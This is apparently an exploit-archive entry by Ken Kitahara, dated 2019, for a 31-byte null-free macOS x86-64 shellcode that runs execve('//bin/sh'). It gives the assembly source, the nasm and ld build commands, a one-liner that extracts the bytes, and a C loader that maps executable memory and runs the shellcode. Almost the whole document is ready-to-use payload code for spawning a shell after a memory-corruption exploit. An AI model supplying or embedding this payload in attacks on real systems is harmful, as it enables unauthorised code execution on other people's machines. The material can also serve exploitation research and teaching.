31 bytes small macOS execve(/bin/sh) null free shellcode.
a46c6490609a0e1e5d78f72f035e455c/*
# Title: macOS - execve(/bin/sh) + Null-Free Shellcode (31 bytes)
# Date: 2019-02-17
# Tested: macOS 10.14.1
# Author: Ken Kitahara
# Compilation: gcc -o loader loader.c
dev:works devuser$ sw_vers
ProductName: Mac OS X
ProductVersion: 10.14.1
BuildVersion: 18B75
dev:works devuser$ cat binsh.s
section .text
global start
start:
; execve("//bin/sh", 0, 0)
xor rax, rax
cdq
push rax
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
xor rsi, rsi
mov al, 0x2
ror rax, 0x28
mov al, 0x3b
syscall
dev:works devuser$ nasm -f macho64 -o binsh.o binsh.s && ld -macosx_version_min 10.7.0 -o binsh binsh.o
dev:works devuser$ for i in $(objdump -d ./binsh.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
\x48\x31\xc0\x99\x50\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x48\x31\xf6\xb0\x02\x48\xc1\xc8\x28\xb0\x3b\x0f\x05
dev:works devuser$
*/
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char shellcode[] =
"\x48\x31\xc0\x99\x50\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x48\x31\xf6\xb0\x02\x48\xc1\xc8\x28\xb0\x3b\x0f\x05";
int main(int argc, char **argv) {
printf("Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x22, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
memcpy(ptr, shellcode, sizeof(shellcode));
sc = ptr;
sc();
return 0;
}